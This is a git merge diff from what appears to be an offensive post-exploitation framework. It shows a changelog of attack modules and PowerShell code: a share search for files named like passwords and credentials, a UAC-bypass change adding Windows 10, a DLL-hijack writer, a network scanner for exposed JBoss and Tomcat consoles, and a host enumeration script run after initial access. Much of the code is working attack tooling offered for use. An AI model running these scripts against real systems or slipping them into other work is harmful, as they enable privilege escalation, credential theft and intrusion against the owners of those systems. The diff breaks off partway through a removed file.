Merge branch 'master' into module_dev_paranoia
commit
d6daa45646
28
changelog
28
changelog
|
@ -1,3 +1,29 @@
|
|||
10/26/2015
|
||||
----------
|
||||
-Fix for psinject bug due to lack of .NET 4.0 on target.
|
||||
-Fix for bug in persistence/misc/add_sid_history
|
||||
|
||||
10/23/15
|
||||
-Updated powerview.ps1 source to Version 2.0
|
||||
-Built a way to dynamically generate the stripped PowerView code for functions needed by PowerView modules (helpers -> generate_dynamic_powershell_script), and updated all relevant PowerView modules
|
||||
-Renamed PowerView modules to better match PowerView 2.0 naming scheme and moved to situational_awareness/network/powerview/*
|
||||
-Removed old split-out PowerView source files
|
||||
-Removed situational_awareness/network/netview
|
||||
-Combined stealth_userhunter into option for userhunter
|
||||
-Added situational_awareness/network/get_forest_domain, situational_awareness/network/powerview/get_object_acl, situational_awareness/network/powerview/find_computer_field, situational_awareness/network/powerview/find_user_field, situational_awareness/network/powerview/get_ou, situational_awareness/network/powerview/get_group, situational_awareness/network/powerview/get_group_member, situational_awareness/network/powerview/get_gpo, situational_awareness/network/powerview/find_gpo_location, situational_awareness/network/powerview/find_gpo_computer_admin, situational_awareness/network/powerview/process_hunter, situational_awareness/network/powerview/find_foreign_group, situational_awareness/network/powerview/find_foreign_user
|
||||
-renamed collection/filesearch to collection/find_interesting_file
|
||||
|
||||
|
||||
9/21/2015
|
||||
---------
|
||||
-Fix for 'skywalker' file overwrite exploit on control server (thanks @zeroSteiner!)
|
||||
|
||||
9/12/2015
|
||||
---------
|
||||
-Added credentials/mimikatz/mimitokens to take advantage of Mimikatz' token listing/elevation
|
||||
-Added management/enable_multi_rdp to patch terminal services to allow mutiple connections
|
||||
-Fixed bug in write_dllhijacker that prevented the dll from being written out
|
||||
|
||||
============
|
||||
8/30/2015 - RELEASE 1.2
|
||||
============
|
||||
|
@ -88,4 +114,4 @@
|
|||
8/6/2015
|
||||
-----------
|
||||
-Initial release. All components released
|
||||
-Commited path fix to correct bug in certain modules
|
||||
-Commited path fix to correct bug in certain modules
|
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large
Load Diff
|
@ -1,142 +0,0 @@
|
|||
function Invoke-FileSearch {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Searches a given server/path for files with specific terms in the name.
|
||||
|
||||
.DESCRIPTION
|
||||
This function recursively searches a given UNC path for files with
|
||||
specific keywords in the name (default of pass, sensitive, secret, admin,
|
||||
login and unattend*.xml). The output can be piped out to a csv with the
|
||||
-OutFile flag. By default, hidden files/folders are included in search results.
|
||||
|
||||
.PARAMETER Path
|
||||
UNC/local path to recursively search.
|
||||
|
||||
.PARAMETER Terms
|
||||
Terms to search for.
|
||||
|
||||
.PARAMETER OfficeDocs
|
||||
Search for office documents (*.doc*, *.xls*, *.ppt*)
|
||||
|
||||
.PARAMETER FreshEXES
|
||||
Find .EXEs accessed within the last week.
|
||||
|
||||
.PARAMETER AccessDateLimit
|
||||
Only return files with a LastAccessTime greater than this date value.
|
||||
|
||||
.PARAMETER WriteDateLimit
|
||||
Only return files with a LastWriteTime greater than this date value.
|
||||
|
||||
.PARAMETER CreateDateLimit
|
||||
Only return files with a CreationDate greater than this date value.
|
||||
|
||||
.PARAMETER ExcludeFolders
|
||||
Exclude folders from the search results.
|
||||
|
||||
.PARAMETER ExcludeHidden
|
||||
Exclude hidden files and folders from the search results.
|
||||
|
||||
.PARAMETER CheckWriteAccess
|
||||
Only returns files the current user has write access to.
|
||||
|
||||
.PARAMETER OutFile
|
||||
Output results to a specified csv output file.
|
||||
|
||||
.OUTPUTS
|
||||
The full path, owner, lastaccess time, lastwrite time, and size for
|
||||
each found file.
|
||||
|
||||
.EXAMPLE
|
||||
> Invoke-FileSearch -Path \\WINDOWS7\Users\
|
||||
Returns any files on the remote path \\WINDOWS7\Users\ that have 'pass',
|
||||
'sensitive', or 'secret' in the title.
|
||||
|
||||
.EXAMPLE
|
||||
> Invoke-FileSearch -Path \\WINDOWS7\Users\ -Terms salaries,email -OutFile out.csv
|
||||
Returns any files on the remote path \\WINDOWS7\Users\ that have 'salaries'
|
||||
or 'email' in the title, and writes the results out to a csv file
|
||||
named 'out.csv'
|
||||
|
||||
.EXAMPLE
|
||||
> Invoke-FileSearch -Path \\WINDOWS7\Users\ -AccessDateLimit 6/1/2014
|
||||
Returns all files accessed since 6/1/2014.
|
||||
|
||||
.LINK
|
||||
http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(ValueFromPipeline=$True)]
|
||||
[string]
|
||||
$Path = '.\',
|
||||
|
||||
[string[]]
|
||||
$Terms,
|
||||
|
||||
[Switch]
|
||||
$OfficeDocs,
|
||||
|
||||
[Switch]
|
||||
$FreshEXES,
|
||||
|
||||
[string]
|
||||
$AccessDateLimit = '1/1/1970',
|
||||
|
||||
[string]
|
||||
$WriteDateLimit = '1/1/1970',
|
||||
|
||||
[string]
|
||||
$CreateDateLimit = '1/1/1970',
|
||||
|
||||
[Switch]
|
||||
$ExcludeFolders,
|
||||
|
||||
[Switch]
|
||||
$ExcludeHidden,
|
||||
|
||||
[Switch]
|
||||
$CheckWriteAccess,
|
||||
|
||||
[string]
|
||||
$OutFile
|
||||
)
|
||||
|
||||
begin {
|
||||
# default search terms
|
||||
$SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config')
|
||||
|
||||
# check if custom search terms were passed
|
||||
if ($Terms){
|
||||
if($Terms -isnot [system.array]){
|
||||
$Terms = @($Terms)
|
||||
}
|
||||
$SearchTerms = $Terms
|
||||
}
|
||||
|
||||
# append wildcards to the front and back of all search terms
|
||||
for ($i = 0; $i -lt $SearchTerms.Count; $i++) {
|
||||
$SearchTerms[$i] = "*$($SearchTerms[$i])*"
|
||||
}
|
||||
|
||||
# search just for office documents if specified
|
||||
if ($OfficeDocs){
|
||||
$SearchTerms = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx')
|
||||
}
|
||||
|
||||
# find .exe's accessed within the last 7 days
|
||||
if($FreshEXES){
|
||||
# get an access time limit of 7 days ago
|
||||
$AccessDateLimit = (get-date).AddDays(-7).ToString('MM/dd/yyyy')
|
||||
$SearchTerms = '*.exe'
|
||||
}
|
||||
}
|
||||
|
||||
process {
|
||||
# build our giant recursive search command w/ conditional options
|
||||
$cmd = "get-childitem $Path -rec $(if(-not $ExcludeHidden){`"-Force`"}) -ErrorAction SilentlyContinue -include $($SearchTerms -join `",`") | where{ $(if($ExcludeFolders){`"(-not `$_.PSIsContainer) -and`"}) (`$_.LastAccessTime -gt `"$AccessDateLimit`") -and (`$_.LastWriteTime -gt `"$WriteDateLimit`") -and (`$_.CreationTime -gt `"$CreateDateLimit`")} | select-object FullName,@{Name='Owner';Expression={(Get-Acl `$_.FullName).Owner}},LastAccessTime,LastWriteTime,Length $(if($CheckWriteAccess){`"| where { `$_.FullName } | where { Invoke-CheckWrite -Path `$_.FullName }`"}) $(if($OutFile){`"| export-csv -Append -notypeinformation -path $OutFile`"})"
|
||||
|
||||
# execute the command
|
||||
Invoke-Expression $cmd
|
||||
}
|
||||
}
|
|
@ -552,7 +552,7 @@ function Invoke-BypassUAC
|
|||
$szTempDllPath = $TempPayloadPath
|
||||
Write-Verbose "Windows 7/2008 detected"
|
||||
}
|
||||
elseif (($OSVersion -eq "6.2") -or ($OSVersion -eq "6.3")) {
|
||||
elseif (($OSVersion -eq "6.2") -or ($OSVersion -eq "6.3") -or ($OSVersion -eq "10.0")) {
|
||||
# windows 8/2012
|
||||
$szElevDll = 'NTWDBLIB.dll'
|
||||
$szElevDir = $env:WINDIR + "\System32"
|
||||
|
@ -607,4 +607,4 @@ function Invoke-BypassUAC
|
|||
|
||||
Write-Verbose "Removing temporary payload $TempPayloadPath"
|
||||
Remove-Item -Path $TempPayloadPath -Force
|
||||
}
|
||||
}
|
||||
|
|
|
@ -1,4 +1,3 @@
|
|||
|
||||
function Write-HijackDll {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
@ -8,8 +7,8 @@ function Write-HijackDll {
|
|||
.PARAMETER OutputFile
|
||||
File name to write the .dll to.
|
||||
|
||||
.PARAMETER BatchPath
|
||||
Patch to the .bat for the .dll to launch. Defaults to "debug.bat" in the
|
||||
.PARAMETER BatPath
|
||||
Path to the .bat for the .dll to launch. Defaults to "debug.bat" in the
|
||||
.dll's current directory.
|
||||
|
||||
.PARAMETER Arch
|
||||
|
@ -28,7 +27,7 @@ function Write-HijackDll {
|
|||
$OutputFile,
|
||||
|
||||
[string]
|
||||
$BatchPath,
|
||||
$BatPath,
|
||||
|
||||
[string]
|
||||
$Arch
|
||||
|
@ -62,8 +61,8 @@ function Write-HijackDll {
|
|||
}
|
||||
|
||||
# patch in the appropriate .bat launcher path if specified
|
||||
if ($BatchPath) {
|
||||
$DllBytes = Invoke-PatchDll -DllBytes $DllBytes -FindString "debug.bat" -ReplaceString $BatchPath
|
||||
if ($BatPath) {
|
||||
$DllBytes = Invoke-PatchDll -DllBytes $DllBytes -FindString "debug.bat" -ReplaceString $BatPath
|
||||
}
|
||||
|
||||
Set-Content -value $DllBytes -encoding byte -path $OutputFile
|
||||
|
|
|
@ -0,0 +1,204 @@
|
|||
function Find-Fruit
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Search for "low hanging fruit".
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
A script to find potentially easily exploitable web servers on a target network.
|
||||
|
||||
.PARAMETER Rhosts
|
||||
|
||||
Targets in CIDR or comma separated format.
|
||||
|
||||
.PARAMETER Port
|
||||
|
||||
Specifies the port to connect to.
|
||||
|
||||
.PARAMETER Path
|
||||
|
||||
Path to custom dictionary.
|
||||
|
||||
.PARAMETER Timeout
|
||||
|
||||
Set timeout for each connection.
|
||||
|
||||
.PARAMETER UseSSL
|
||||
|
||||
Use an SSL connection.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Find-Fruit -Rhosts 192.168.1.0/24 -Port 8080 -Timeout 50
|
||||
C:\PS> Find-Fruit -Rhosts 192.168.1.0/24 -Path dictionary.txt -Port 443 -Timeout 50
|
||||
|
||||
|
||||
.NOTES
|
||||
Credits to mattifestation for Get-HttpStatus
|
||||
HTTP Status Codes: 100 - Informational * 200 - Success * 300 - Redirection * 400 - Client Error * 500 - Server Error
|
||||
|
||||
|
||||
#>
|
||||
|
||||
[CmdletBinding()] Param(
|
||||
[Parameter(Mandatory = $True)]
|
||||
[String]
|
||||
$Rhosts,
|
||||
|
||||
[Int]
|
||||
$Port,
|
||||
|
||||
[String]
|
||||
$Path,
|
||||
|
||||
[Int]
|
||||
$Timeout = "50",
|
||||
|
||||
[Switch]
|
||||
$UseSSL
|
||||
)
|
||||
$hostList = New-Object System.Collections.ArrayList
|
||||
|
||||
[String] $iHosts = $Rhosts.Split(",")
|
||||
|
||||
foreach($iHost in $iHosts)
|
||||
{
|
||||
$iHost = $iHost.Replace(" ", "")
|
||||
|
||||
if(!$iHost)
|
||||
{
|
||||
continue
|
||||
}
|
||||
|
||||
if($iHost.contains("/"))
|
||||
{
|
||||
$netPart = $iHost.split("/")[0]
|
||||
[uint32]$maskPart = $iHost.split("/")[1]
|
||||
|
||||
$address = [System.Net.IPAddress]::Parse($netPart)
|
||||
if ($maskPart -ge $address.GetAddressBytes().Length * 8)
|
||||
{
|
||||
throw "Bad host mask"
|
||||
}
|
||||
|
||||
$numhosts = [System.math]::Pow(2,(($address.GetAddressBytes().Length *8) - $maskPart))
|
||||
|
||||
$startaddress = $address.GetAddressBytes()
|
||||
[array]::Reverse($startaddress)
|
||||
|
||||
$startaddress = [System.BitConverter]::ToUInt32($startaddress, 0)
|
||||
[uint32]$startMask = ([System.math]::Pow(2, $maskPart)-1) * ([System.Math]::Pow(2,(32 - $maskPart)))
|
||||
$startAddress = $startAddress -band $startMask
|
||||
#in powershell 2.0 there are 4 0 bytes padded, so the [0..3] is necessary
|
||||
$startAddress = [System.BitConverter]::GetBytes($startaddress)[0..3]
|
||||
[array]::Reverse($startaddress)
|
||||
$address = [System.Net.IPAddress] [byte[]] $startAddress
|
||||
|
||||
$hostList.Add($address.IPAddressToString)
|
||||
|
||||
for ($i=0; $i -lt $numhosts-1; $i++)
|
||||
{
|
||||
$nextAddress = $address.GetAddressBytes()
|
||||
[array]::Reverse($nextAddress)
|
||||
$nextAddress = [System.BitConverter]::ToUInt32($nextAddress, 0)
|
||||
$nextAddress ++
|
||||
$nextAddress = [System.BitConverter]::GetBytes($nextAddress)[0..3]
|
||||
[array]::Reverse($nextAddress)
|
||||
$address = [System.Net.IPAddress] [byte[]] $nextAddress
|
||||
$hostList.Add($address.IPAddressToString)|Out-Null
|
||||
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$hostList.Add($iHost)
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
if ($UseSSL -and $Port -eq 0) {
|
||||
# Default to 443 if SSL is specified but no port is specified
|
||||
$Port = 443
|
||||
} elseif ($Port -eq 0) {
|
||||
# Default to port 80 if no port is specified
|
||||
$Port = 80
|
||||
}
|
||||
|
||||
|
||||
if ($UseSSL) {
|
||||
$SSL = 's'
|
||||
# Ignore invalid SSL certificates
|
||||
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $True }
|
||||
} else {
|
||||
$SSL = ''
|
||||
}
|
||||
|
||||
if (($Port -eq 80) -or ($Port -eq 443)) {
|
||||
$PortNum = ''
|
||||
} else {
|
||||
$PortNum = ":$Port"
|
||||
}
|
||||
|
||||
if ($Path)
|
||||
{
|
||||
if (!(Test-Path -Path $Path)) { Throw "File doesnt exist" }
|
||||
$VulnLinks = @()
|
||||
foreach ($Link in Get-Content $Path) {
|
||||
$VulnLinks = $VulnLinks + $Link
|
||||
}
|
||||
} else {
|
||||
$VulnLinks = @()
|
||||
$VulnLinks = $VulnLinks + "jmx-console/" # Jboss
|
||||
$VulnLinks = $VulnLinks + "web-console/ServerInfo.jsp" # Jboss
|
||||
$VulnLinks = $VulnLinks + "invoker/JMXInvokerServlet" # Jboss
|
||||
$VulnLinks = $VulnLinks + "lc/system/console" # Adobe LiveCycle OSGi console
|
||||
$VulnLinks = $VulnLinks + "axis2/axis2-admin/" # Apache Axis2
|
||||
$VulnLinks = $VulnLinks + "manager/html/" # Tomcat
|
||||
$VulnLinks = $VulnLinks + "tomcat/manager/html/" # Tomcat
|
||||
$VulnLinks = $VulnLinks + "wp-admin" # Wordpress
|
||||
$VulnLinks = $VulnLinks + "workorder/FileDownload.jsp" #Manage Engine
|
||||
$VulnLinks = $VulnLinks + "ibm/console/logon.jsp?action=OK" # WebSphere
|
||||
$VulnLinks = $VulnLinks + "data/login" # Dell iDrac
|
||||
}
|
||||
|
||||
# Check Http status for each entry in the ditionary file
|
||||
foreach ($Target in $hostList)
|
||||
{
|
||||
$TcpConnection = New-Object System.Net.Sockets.TcpClient
|
||||
Write-Verbose "Path Test Succeeded - Testing Connectivity"
|
||||
|
||||
|
||||
foreach ($Item in $Vulnlinks) {
|
||||
|
||||
$WebTarget = "http$($SSL)://$($Target)$($PortNum)/$($Item)"
|
||||
$URI = New-Object Uri($WebTarget)
|
||||
|
||||
try {
|
||||
$WebRequest = [System.Net.WebRequest]::Create($URI)
|
||||
$WebResponse = $WebRequest.Timeout=$Timeout
|
||||
$WebResponse = $WebRequest.GetResponse()
|
||||
$WebStatus = $WebResponse.StatusCode
|
||||
$ResultObject += $ScanObject
|
||||
$WebResponse.Close()
|
||||
} catch {
|
||||
$WebStatus = $Error[0].Exception.InnerException.Response.StatusCode
|
||||
|
||||
if ($WebStatus -eq $null) {
|
||||
# Not every exception returns a StatusCode.
|
||||
# If that is the case, return the Status.
|
||||
$WebStatus = $Error[0].Exception.InnerException.Status
|
||||
}
|
||||
}
|
||||
|
||||
$Result = @{ Status = $WebStatus;
|
||||
URL = $WebTarget}
|
||||
|
||||
$ScanObject = New-Object -TypeName PSObject -Property $Result
|
||||
|
||||
Write-Output $ScanObject
|
||||
|
||||
}
|
||||
}
|
||||
}
|
|
@ -5,54 +5,39 @@ function Invoke-WinEnum{
|
|||
Collects all revelant information about a host and the current user context.
|
||||
|
||||
.DESCRIPTION
|
||||
After gaining initial access to a target host. It is recommended to gain situational awareness by enumerating the user and system.
|
||||
This script conducts user, system, and network enumeration using the current user context or with a specified user and/or keyword.
|
||||
|
||||
.PARAMETER User
|
||||
Specify a user to enumerate. The default is the current user.
|
||||
.PARAMETER UserName
|
||||
Specify a user to enumerate. The default is the current user context.
|
||||
|
||||
.PARAMETER keyword
|
||||
Specify a keyword to use in file searches.
|
||||
|
||||
.PARAMETER UserInfo
|
||||
Enumerate user information
|
||||
|
||||
.PARAMETER SysInfo
|
||||
Enumerate system information of the current host
|
||||
|
||||
.PARAMETER NetInfo
|
||||
Enumerate the current network
|
||||
.PARAMETER keywords
|
||||
Specify a keyword or array of keywords to use in file searches.
|
||||
|
||||
.EXAMPLE
|
||||
Conduct all enumeration with a keyword for file searches.
|
||||
|
||||
Invoke-WinEnum -UserInfo keyword "putty" -SysInfo -NetInfo
|
||||
Conduct enumeration with a username and keyword
|
||||
|
||||
Invoke-WindowsEnum -User "sandersb"
|
||||
|
||||
.EXAMPLE
|
||||
Conduct all enumeration with a username
|
||||
Conduct enumeration with a keyword for file searches.
|
||||
|
||||
Invoke-WinEnum -User "sandersb" -UserInfo -SysInfo -NetInfo
|
||||
Invoke-WindowsEnum -keyword "putty"
|
||||
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False,Position=0)]
|
||||
[string]$UserName,
|
||||
[Parameter(Mandatory=$False,Position=1)]
|
||||
[string]$User,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$keyword,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[switch]$UserInfo,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[switch]$SysInfo,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[switch]$NetInfo
|
||||
[string[]]$keywords
|
||||
)
|
||||
|
||||
|
||||
If($UserInfo){
|
||||
if($User){
|
||||
"UserName: $User`n"
|
||||
$DomainUser = $User
|
||||
Function Get-UserInfo{
|
||||
if($UserName){
|
||||
"UserName: $UserName`n"
|
||||
$DomainUser = $UserName
|
||||
}
|
||||
else{
|
||||
#If the username was not provided,
|
||||
|
@ -79,7 +64,7 @@ function Invoke-WinEnum{
|
|||
#Get the distinguishedName for the domain
|
||||
$usr = $dsclassUP::FindByIdentity($contextTypeDomain,$iType,$DomainUser)
|
||||
#Grab the user principal object for the domain.
|
||||
$usr.GetGroups() | foreach {$_.Name + "`n"}
|
||||
$usr.GetGroups() | foreach {$_.Name}
|
||||
#Enumerate all groups the user is apart of
|
||||
|
||||
|
||||
|
@ -87,42 +72,58 @@ function Invoke-WinEnum{
|
|||
"Password Last changed"
|
||||
"`n-------------------------------------`n"
|
||||
|
||||
$usr.LastPasswordSet + "`n"
|
||||
$($usr.LastPasswordSet) + "`n"
|
||||
|
||||
"`n-------------------------------------`n"
|
||||
"Last 5 files opened"
|
||||
"`n-------------------------------------`n"
|
||||
|
||||
$LastOpenedFiles = Get-ChildItem -Path "C:\Users\$Username" -Recurse -Include @("*.txt","*.pdf","*.docx","*.doc","*.xls","*.ppt") -ea SilentlyContinue | Sort-Object {$_.LastAccessTime} | select -First 5
|
||||
if($LastOpenedFiles){
|
||||
foreach ($file in $LastOpenedFiles){
|
||||
"Filepath: " + $file.FullName + "`n"
|
||||
"Last Accessed: " + $file.LastAccessTime + "`n"
|
||||
$AllOpenedFiles = Get-ChildItem -Path "C:\" -Recurse -Include @("*.txt","*.pdf","*.docx","*.doc","*.xls","*.ppt") -ea SilentlyContinue | Sort-Object {$_.LastAccessTime}
|
||||
$LastOpenedFiles = @()
|
||||
$AllOpenedFiles | ForEach-Object {
|
||||
$owner = $($_.GetAccessControl()).Owner
|
||||
$owner = $owner.split('\')[-1]
|
||||
if($owner -eq $UserName){
|
||||
$LastOpenedFiles += $_
|
||||
}
|
||||
}
|
||||
if($LastOpenedFiles){
|
||||
$LastOpenedFiles | Sort-Object LastAccessTime -Descending | Select-Object FullName, LastAccessTime -First 5 | Format-List | Out-String
|
||||
}
|
||||
|
||||
"`n-------------------------------------`n"
|
||||
"Interesting Files"
|
||||
"`n-------------------------------------`n"
|
||||
#If the keyword is set, use it in the file search
|
||||
if($keyword){
|
||||
$interestingFiles = Get-ChildItem -Path "C:\Users\$Username" -Recurse -Include @($keyword) -ea SilentlyContinue | where {$_.Mode.StartsWith('d') -eq $False} | Sort-Object {$_.LastAccessTime}
|
||||
if($interestingFiles){
|
||||
foreach($file in $interestingFiles){
|
||||
"Filepath: " + $file.FullName + "`n"
|
||||
"Last Accessed: " + $file.LastAccessTime + "`n"
|
||||
$NewestInterestingFiles = @()
|
||||
if($keywords)
|
||||
{
|
||||
$AllInterestingFiles = Get-ChildItem -Path "C:\" -Recurse -Include $keywords -ea SilentlyContinue | where {$_.Mode.StartsWith('d') -eq $False} | Sort-Object {$_.LastAccessTime}
|
||||
$AllInterestingFiles | ForEach-Object {
|
||||
$owner = $_.GetAccessControl().Owner
|
||||
$owner = $owner.split('\')[-1]
|
||||
if($owner -eq $UserName){
|
||||
$NewestInterestingFiles += $_
|
||||
}
|
||||
}
|
||||
if($NewestInterestingFiles){
|
||||
$NewestInterestingFiles | Sort-Object LastAccessTime -Descending | Select-Object FullName, LastAccessTime | Format-List | Out-String
|
||||
}
|
||||
}
|
||||
#Otherwise, search using the pre-defined list
|
||||
else{
|
||||
$interestingFiles = Get-ChildItem -Path "C:\Users\$Username" -Recurse -Include @("*pass*","*admin*","*config*","*cred*","*key*","*ssh*","*putty*","*vpn*") -ea SilentlyContinue | where {$_.Mode.StartsWith('d') -eq $False}
|
||||
if($interestingFiles){
|
||||
foreach($file in $interestingFiles){
|
||||
"Filepath: " + $file.FullName + "`n"
|
||||
"Last Accessed: " + $file.LastAccessTime + "`n"
|
||||
else
|
||||
{
|
||||
$AllInterestingFiles = Get-ChildItem -Path "C:\" -Recurse -Include @("*.txt","*.pdf","*.docx","*.doc","*.xls","*.ppt","*pass*","*cred*") -ErrorAction SilentlyContinue | where {$_.Mode.StartsWith('d') -eq $False} | Sort-Object {$_.LastAccessTime}
|
||||
$AllInterestingFiles | ForEach-Object {
|
||||
$owner = $_.GetAccessControl().Owner
|
||||
$owner = $owner.split('\')[-1]
|
||||
if($owner -eq $UserName){
|
||||
$NewestInterestingFiles += $_
|
||||
}
|
||||
}
|
||||
}
|
||||
if($NewestInterestingFiles)
|
||||
{
|
||||
$NewestInterestingFiles | Sort-Object LastAccessTime -Descending | Select-Object FullName, LastAccessTime | Format-List | Out-String
|
||||
}
|
||||
}
|
||||
|
||||
"`n-------------------------------------`n"
|
||||
|
@ -143,7 +144,7 @@ function Invoke-WinEnum{
|
|||
"`n"
|
||||
}
|
||||
|
||||
if($SysInfo){
|
||||
Function Get-SysInfo{
|
||||
"`n-------------------------------------`n"
|
||||
"System Information"
|
||||
"`n-------------------------------------`n"
|
||||
|
@ -152,17 +153,42 @@ function Invoke-WinEnum{
|
|||
$OSArch = (Get-WmiObject -class win32_operatingsystem).OSArchitecture
|
||||
"OS: $OSVersion $OSArch`n"
|
||||
|
||||
If($OSArch -eq '64-bit'){
|
||||
if($OSArch -eq '64-bit')
|
||||
{
|
||||
$registeredAppsx64 = Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName | Sort-Object DisplayName
|
||||
$registeredApps = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName | Sort-Object DisplayName
|
||||
$registeredApps = $registeredApps + $registeredAppsx64
|
||||
$registeredApps = $registeredApps | Sort-Object DisplayName -Unique
|
||||
|
||||
$registeredAppsx86 = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName | Sort-Object DisplayName
|
||||
$registeredAppsx64 | Where-Object {$_.DisplayName -ne ' '} | Select-Object DisplayName | Format-Table -AutoSize | Out-String
|
||||
$registeredAppsx86 | Where-Object {$_.DisplayName -ne ' '} | Select-Object DisplayName | Format-Table -AutoSize | Out-String
|
||||
}
|
||||
else{
|
||||
$registeredApps = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName | Sort-Object DisplayName
|
||||
else
|
||||
{
|
||||
$registeredAppsx86 = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName | Sort-Object DisplayName
|
||||
$registeredAppsx86 | Where-Object {$_.DisplayName -ne ' '} | Select-Object DisplayName | Format-Table -AutoSize | Out-String
|
||||
}
|
||||
|
||||
"`n-------------------------------------`n"
|
||||
"Services"
|
||||
"`n-------------------------------------`n"
|
||||
|
||||
$AllServices = @()
|
||||
Get-WmiObject -class win32_service | ForEach-Object{
|
||||
$service = New-Object PSObject -Property @{
|
||||
ServiceName = $_.DisplayName
|
||||
ServiceStatus = (Get-service | where-object { $_.DisplayName -eq $ServiceName}).status
|
||||
ServicePathtoExe = $_.PathName
|
||||
StartupType = $_.StartMode
|
||||
}
|
||||
$AllServices += $service
|
||||
}
|
||||
|
||||
$AllServices | Select ServicePathtoExe, ServiceName | Format-Table -AutoSize | Out-String
|
||||
|
||||
"`n-------------------------------------`n"
|
||||
"Available Shares"
|
||||
"`n-------------------------------------`n"
|
||||
|
||||
Get-WmiObject -class win32_share | Format-Table -AutoSize Name, Path, Description, Status | Out-String
|
||||
|
||||
"`n-------------------------------------`n"
|
||||
"AV Solution"
|
||||
"`n-------------------------------------`n"
|
||||
|
@ -218,17 +244,17 @@ function Invoke-WinEnum{
|
|||
|
||||
}
|
||||
|
||||
#Coming soon
|
||||
if($NetInfo){
|
||||
|
||||
Function Get-NetInfo{
|
||||
"`n-------------------------------------`n"
|
||||
"Network Adapters"
|
||||
"`n-------------------------------------`n"
|
||||
#http://thesurlyadmin.com/2013/05/20/using-powershell-to-get-adapter-information/
|
||||
foreach ($Adapter in (Get-WmiObject -class win32_networkadapter -Filter "NetConnectionStatus='2'")){
|
||||
$config = Get-WmiObject -class win32_networkadapterconfiguration -Filter "Index = '$($Adapter.Index)'"
|
||||
"--------------------------`n"
|
||||
"`n"
|
||||
"Adapter: " + $Adapter.Name + "`n"
|
||||
"--------------------------`n"
|
||||
"`n"
|
||||
"IP Address: "
|
||||
if($config.IPAddress -is [system.array]){
|
||||
$config.IPAddress[0] + "`n"
|
||||
|
@ -236,10 +262,9 @@ function Invoke-WinEnum{
|
|||
else{
|
||||
$config.IPAddress + "`n"
|
||||
}
|
||||
"---------------------------`n"
|
||||
"`n"
|
||||
"Mac Address: " + $Config.MacAddress
|
||||
"---------------------------`n"
|
||||
|
||||
"`n"
|
||||
}
|
||||
|
||||
"`n-------------------------------------`n"
|
||||
|
@ -310,8 +335,56 @@ function Invoke-WinEnum{
|
|||
Name = $DriveName
|
||||
}
|
||||
$NetworkDrive
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
"`n-------------------------------------`n"
|
||||
"Firewall Rules"
|
||||
"`n-------------------------------------`n"
|
||||
#http://blogs.technet.com/b/heyscriptingguy/archive/2010/07/03/hey-scripting-guy-weekend-scripter-how-to-retrieve-enabled-windows-firewall-rules.aspx
|
||||
#Create the firewall com object to enumerate
|
||||
$fw = New-Object -ComObject HNetCfg.FwPolicy2
|
||||
#Retrieve all firewall rules
|
||||
$FirewallRules = $fw.rules
|
||||
#create a hashtable to define all values
|
||||
$fwprofiletypes = @{1GB="All";1="Domain"; 2="Private" ; 4="Public"}
|
||||
$fwaction = @{1="Allow";0="Block"}
|
||||
$FwProtocols = @{1="ICMPv4";2="IGMP";6="TCP";17="UDP";41="IPV6";43="IPv6Route"; 44="IPv6Frag";
|
||||
47="GRE"; 58="ICMPv6";59="IPv6NoNxt";60="IPv60pts";112="VRRP"; 113="PGM";115="L2TP"}
|
||||
$fwdirection = @{1="Inbound"; 2="Outbound"}
|
||||
|
||||
#Retrieve the profile type in use and the current rules
|
||||
|
||||
$fwprofiletype = $fwprofiletypes.Get_Item($fw.CurrentProfileTypes)
|
||||
$fwrules = $fw.rules
|
||||
|
||||
"Current Firewall Profile Type in use: $fwprofiletype"
|
||||
$AllFWRules = @()
|
||||
#enumerate the firewall rules
|
||||
$fwrules | ForEach-Object{
|
||||
#Create custom object to hold properties for each firewall rule
|
||||
$FirewallRule = New-Object PSObject -Property @{
|
||||
ApplicationName = $_.Name
|
||||
Protocol = $fwProtocols.Get_Item($_.Protocol)
|
||||
Direction = $fwdirection.Get_Item($_.Direction)
|
||||
Action = $fwaction.Get_Item($_.Action)
|
||||
LocalIP = $_.LocalAddresses
|
||||
LocalPort = $_.LocalPorts
|
||||
RemoteIP = $_.RemoteAddresses
|
||||
RemotePort = $_.RemotePorts
|
||||
}
|
||||
|
||||
$AllFWRules += $FirewallRule
|
||||
|
||||
|
||||
}
|
||||
$AllFWRules | Select-Object Action, Direction, RemoteIP, RemotePort, LocalPort, ApplicationName | Format-List | Out-String
|
||||
}
|
||||
|
||||
Get-UserInfo
|
||||
Get-SysInfo
|
||||
Get-NetInfo
|
||||
|
||||
|
||||
|
||||
}
|
|
@ -1,324 +0,0 @@
|
|||
<#
|
||||
.Synopsis
|
||||
This module will query Active Directory for the hostname, OS version, and service pack level
|
||||
for each computer account. That information is then cross-referenced against a list of common
|
||||
Metasploit exploits that can be used during penetration testing.
|
||||
|
||||
